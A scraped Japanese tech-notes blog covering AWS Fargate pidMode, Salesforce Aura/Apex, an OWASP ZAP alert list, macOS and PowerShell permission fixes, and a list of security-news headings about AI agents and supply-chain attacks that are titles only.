役割	公開されたコンテンツの取得	コンテンツの管理 (作成、更新、削除など)
アクセス権	読み取り専用	読み取り/書き込み
セキュリティ	比較的低い	非常に高い

注意点

Wordpress: 脆弱性

Mon, 14 Oct 2024 00:00:00 +0000

Wordpress脆弱性

Advanced Custom Fields (ACF)

https://rocket-boys.co.jp/7886/

AWS: ECS: Fargate: pidMode

Mon, 02 Sep 2024 00:00:00 +0000

AWS ECS Fargate: pidMode

AWS FargateのpidModeは、タスク内のコンテナ間でプロセスID（PID）名前空間を共有するための設定です。これにより、同じタスク内のコンテナが互いのプロセス情報にアクセスできるようになります¹²。

例えば、モニタリング用のサイドカーコンテナが、他のコンテナのプロセス情報を取得して監視することが可能になります。FargateではpidMode=taskのみがサポートされており、これを有効にすると、タスク内のすべてのコンテナが同じPID名前空間を共有します²。

この機能は、特にセキュリティや監視の観点から便利で、プロセスの監視やシステムコールのトラッキングが容易になります¹。

ソース: Copilot との会話、 2024/9/2 (1) 【アップデート】ECS on Fargateでサイドカーからプロセス …. https://dev.classmethod.jp/articles/ecs-on-fargate-support-shared-pid-namespace/. (2) AWS Fargate がプロセス ID 名前空間の共有とカーネルパラメータ …. https://aws.amazon.com/jp/about-aws/whats-new/2023/08/aws-fargate-pid-namespace-sharing-kernel-configuration/. (3) [ECS/Fargate] [request]: Support pidMode: task on Fargate #676. https://github.com/aws/containers-roadmap/issues/676. (4) 【アップデート】ECS on FargateがsystemControlsをサポートし …. https://dev.classmethod.jp/articles/ecs-on-fargate-support-systemcontrols/. (5) Amazon ECS on AWS Fargate - Datadog Infrastructure and …. https://docs.datadoghq.com/integrations/ecs_fargate/.

pidModeを指定しなくてもサイドカー構成を取ることは可能です。pidModeは、特定のユースケースでプロセスID名前空間を共有するためのオプションですが、サイドカーコンテナ自体は他の方法で連携できます。

例えば、サイドカーコンテナは以下のような方法で他のコンテナと連携します：

ネットワーク共有: 同じタスク内のコンテナはデフォルトで同じネットワーク名前空間を共有するため、互いに通信できます。
ボリューム共有: データを共有するために、同じボリュームをマウントすることができます。
環境変数や設定ファイル: コンテナ間で設定情報を共有するために使用できます。

これらの方法を組み合わせることで、pidModeを使用しなくても効果的なサイドカー構成を実現できます。

記事

AppExchange

Mon, 19 Aug 2024 00:00:00 +0000

AppExchange

ISV / OEM パートナー

組織

パートナービジネス組織（Partner Business Org で PBO とも呼ばれる）
パッケージ開発組織
スクラッチ組織（Scratch Org）
Trialforce ソース組織（Trialforce Source Org で TSO とも呼ばれる）
顧客組織

開発

LMA

環境ハブ

セキュリティレビュー

Salesforce のアプリケーション審査

手順:

準備
申請
注文書と手順書
公開
年次更新

MavensMate

Lightning Experience

Aura コンポーネント

コンポーネント:

Visualforce
Aura(いわゆるオーラ) (Aura コンポーネントの中から LWC を呼び出すことはできるが、LWC の中から Aura コンポーネントを呼び出すことはできない。)
Lightning Web Conponent(LWC)

外部のデータソースを呼ぶには

Apex

Aura コンポーネントから Salesforce 以外の外部データを呼び出すには、以下の手順を参考にしてください：

Apex コントローラーを使用する:

Apex クラスを作成し、外部 API を呼び出すメソッドを定義します。例えば、HttpRequestとHttpResponseクラスを使用して外部 API にリクエストを送信し、レスポンスを処理します。

public class ExternalDataController {
@AuraEnabled
public static String getExternalData() {
Http http = new Http();
HttpRequest request = new HttpRequest();
request.setEndpoint('https://api.example.com/data');
request.setMethod('GET');
HttpResponse response = http.send(request);
return response.getBody();
}
}

Aura コンポーネントで Apex メソッドを呼び出す:

サイトセキュリティチェック

Mon, 22 Jul 2024 00:00:00 +0000

サイトセキュリティチェック

Mozilla: https://observatory.mozilla.org/
トレンドマイクロ: https://global.sitesafety.trendmicro.com/?cc=jp
Google: https://www.virustotal.com/gui/home/upload

OWASP Zap

Docker 版 OWASP ZAP を M1 Mac で動かす。

問題:

: Cookie No HttpOnly Flag [10010]
: Re-examine Cache-control Directives [10015]
: Cross-Domain JavaScript Source File Inclusion [10017]
: Missing Anti-clickjacking Header [10020]
: X-Content-Type-Options Header Missing [10021]
: [Information Disclosure - Suspicious Comments]https://www.zaproxy.org/docs/alerts/10027/
: [Cookie Poisoning]https://www.zaproxy.org/docs/alerts/10029/
: User Controllable HTML Element Attribute (Potential XSS) [10031]
: Strict-Transport-Security Header Not Set [10035]
: Content Security Policy (CSP) Header Not Set [10038]
: Secure Pages Include Mixed Content [10040]
: Storable and Cacheable Content [10049]
: Cookie without SameSite Attribute [10054]
: Permissions Policy Header Not Set [10063]
: Timestamp Disclosure - Unix [10096]
: Modern Web Application [10109] (対応しなくてもよい)
: Dangerous JS Functions [10110]
: Session Management Response Identified [10112]
: Absence of Anti-CSRF Tokens [10202]
: Sub Resource Integrity Attribute Missing [90003]
: Charset Mismatch [90011]

VIRUSTOTAL

https://www.virustotal.com/gui/home/upload

SUURI

https://sitecheck.sucuri.net/

Swiper

Mon, 15 Jul 2024 00:00:00 +0000

swiper

https://github.com/nolimits4web/swiper
【最新】Swiper の使い方・カスタマイズを解説！サンプルやオプション 15 個付きー基礎から応用までー (Swiper v8.1.4)
JVNDB-2021-005554 swiper における脆弱性 (6.5.1)(情報を取得される、情報を改ざんされる、およびサービス運用妨害 (DoS) 状態にされる可能性があります。)

AWS: Billing

Mon, 08 Apr 2024 00:00:00 +0000

AWS: Billing

AWS: SES

Wed, 31 Jan 2024 00:00:00 +0000

AWS: SES: スパム

In a move to safeguard user inboxes, Gmail [1] and Yahoo Mail [2] announced a new set of requirements for senders. Effective February 2024, the new requirements affect email senders who distribute over 5,000 bulk messages per day or have >0.3% of messages reported as spam. Failure to comply with new requirements may result in Gmail and Yahoo rejecting message delivery to their customers.

Your account has at least one email address identity sending email without a matching verified domain identity. This may result in reduced ability to send to some email recipients.

macOS: ls: .: Operation not permitted

Tue, 02 May 2023 00:00:00 +0000

macOS: ls: .: Operation not permitted

このエラーは、macOSのセキュリティ機能によって、ターミナルのコマンドが特定のディレクトリに対して制限されている可能性があります¹²。例えば、DownloadsやDocumentsなどのディレクトリは、プライバシー保護のためにアクセス権が制限されています²。

この場合、システム環境設定から、ターミナルに対してフルディスクアクセスを許可する必要があります¹²。具体的な手順は以下の通りです。

システム環境設定を開きます。
セキュリティとプライバシーを選択します。
プライバシータブをクリックします。
左側のメニューからフルディスクアクセスを選択します。
鍵のアイコンをクリックしてロックを解除します。
パスワードを入力します。
+ボタンをクリックしてターミナルを追加します。
ターミナルを再起動します。

これで、lsコマンドなどが正常に動作するはずです。試してみてください。

ソース: Bing との会話 2023/5/3

(1) macOS の「Operation not permitted」を回避する【du/ls/mv/cp …. https://qiita.com/KEINOS/items/0366f1c281b574a79cfb.
(2) ターミナルでコマンド実行時に「Operation not permitted」が出 …. https://qiita.com/Tatsu88/items/f50f850b0c8f4a2c1bf2.
(3) unix - ls: Operation not Permitted - Stack Overflow. https://stackoverflow.com/questions/25717501/ls-operation-not-permitted.
(4) 突然の「Operation not permitted」-Dockerが採用する …. https://www.creationline.com/lab/46861.

設定 > プライバシーとセキュリティ

> フルディスクアクセス

PowerShell

Sat, 01 Aug 2015 00:00:00 +0000

PowerShell

実行権限

WindowsでPowerShellスクリプトの実行セキュリティポリシーを変更する

PS C:\WINDOWS\system32> Get-ExecutionPolicy
RemoteSigned

PS C:\WINDOWS\system32> Set-ExecutionPolicy Unrestricted

Set-ExecutionPolicy : Windows PowerShell により実行ポリシーは正常に更新されましたが、設定は範囲がより明確に定義されたポリシーで上書きされました。この上書きにより、シェルで現在有効な実行ポリシー RemoteSigned が保持されます。
実行ポリシーの設定を表示するには、「Get-ExecutionPolicy -List」と入力してください。詳細については、"Get-Help Set-ExecutionPolicy" を参照してください。
発生場所 行:1 文字:1
+ Set-ExecutionPolicy Unrestricted
+ ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
+ CategoryInfo : PermissionDenied: (:) [Set-ExecutionPolicy], SecurityException
+ FullyQualifiedErrorId : ExecutionPolicyOverride,Microsoft.PowerShell.Commands.SetExecutionPolicyCommand

PS C:\WINDOWS\system32> Get-ExecutionPolicy -List
Scope ExecutionPolicy
----- ---------------
MachinePolicy Undefined
UserPolicy Undefined
Process Undefined
CurrentUser RemoteSigned
LocalMachine Unrestricted

How successfully change Execution policy and enable execution of Powershell scripts

Security on hdknr blog

ChatGPTのコード実行環境にDNSトンネリングによるデータ漏洩の脆弱性が発覚

PyPI公式パッケージ telnyx がサプライチェーン攻撃で汚染 — TeamPCPによるWAVステガノグラフィ攻撃の全容

Claude Code: dangerously-skip-permissions をやめて auto mode に移行する

Claude Codeを使うなら最低限やっておきたい「7つのセキュリティ設定」

MCP のセキュリティが OAuth 2.1 で大幅進化：AI エージェントと社内データを安全に接続する仕組み

MCP とは

OAuth 2.0 から 2.1 へ：何が変わったのか

MCP の認可アーキテクチャ

OpenClaw狂想曲：中国で巻き起こるAIエージェント・ゴールドラッシュと「ツルハシ売り」たち

ForceMemo: GitHub アカウントを乗っ取り Python リポジトリにバックドアを仕込む新型攻撃

攻撃の概要

GlassWorm による初期侵入

force-push による履歴改ざん

CVE-2026-32746: GNU Inetutils telnetd に32年間潜んでいた認証前リモートコード実行の脆弱性

Microsoft Agent Governance Toolkit：AIエージェントのセキュリティを4つの柱で守るOSSツールキット

背景：なぜ AI エージェントにガバナンスが必要か

4つの柱

1. Policy Engine（ポリシーエンジン）

GitHub で見つけた「便利ツール」を解析したらマルウェアだった話：偽 OpenClaw インストーラーの実態

対象リポジトリの特徴

ZIP の中身

Kali Linux × Ollama × MCP — 完全ローカルで動く AI ペンテスト環境の構築

構成要素

マッキンゼーの社内AI「Lilli」がSQLインジェクションで完全突破された件

Lilli とは

Lilli のアーキテクチャ

攻撃の経緯

脆弱性管理の次の時代 ── Exposure Management とは何か

CVSS とは何か

従来の脆弱性管理の限界

中国政府が OpenClaw に緊急セキュリティ警告：AI エージェントの安全な運用とは

何が起きたのか

CNCERT が指摘した主なリスク

1. アーキテクチャ設計上の問題

2. デフォルト設定の脆弱性

3. プラグインエコシステムの危険性

4. Web ベースの攻撃

5. 重要データの誤削除

CNCERT の推奨対策

AI エージェント全般への教訓

Claude Codeの「セキュリティ%表示」は対策ではなく"お気持ち表示"？ 本当にやるべきセキュリティ設定

話題になった「パーセンテージ表示」

セキュリティ専門家の反論:「お気持ち表示」

Claude Codeに本当に効くセキュリティ対策

1. サンドボックスを有効にする

2. denyルールで危険なコマンドをブロック

3. 機密ファイルへのアクセスを遮断

Vibe Hacking とは何か：AI が変えるサイバー攻撃の新潮流

Vibe Hacking とは

具体的な脅威

AI 生成マルウェア

Flat-Pack Malware

国家レベルの活用

なぜ危険なのか

攻撃コストの劇的な低下

検出回避能力の向上

Vibe Coding で作られたアプリの脆弱性

対策のポイント

AI によるコードレビューの自動化

AI Agent に品質を担保させる — QA 手法の実践ガイド

1. 設定ファイルにルールを書く

2. リスクレベルで使い分ける

3. AI にテスト設計もさせる

4. AI のテストが「嘘」になる 10 パターン

AI Agent に品質を担保させる — QA 手法の実践ガイド

1. 設定ファイルにルールを書く

2. リスクレベルで使い分ける

3. AI にテスト設計もさせる

4. AI のテストが「嘘」になる 10 パターン

Claude Code Security — AI がコードベースの脆弱性を発見・修正提案する新機能

Claude Code Security とは

主な特徴

多段階検証プロセス

ヒューマン・イン・ザ・ループ

実績

利用方法

従来のツールとの違い

まとめ

Claude Code でツール実行前にセキュリティリスクをパーセンテージ表示させる CLAUDE.md 設定

Claude Codeの「セキュリティ%表示」は対策ではなく"お気持ち表示"？本当にやるべきセキュリティ設定

GitHub Actions スクリプトインジェクション完全解説 — `${{ }}` を `run` に書いた瞬間、攻撃者にシェルを渡している

GitHub Actions スクリプトインジェクション完全解説 — `${{ }}` を run に書いた瞬間、攻撃が始まる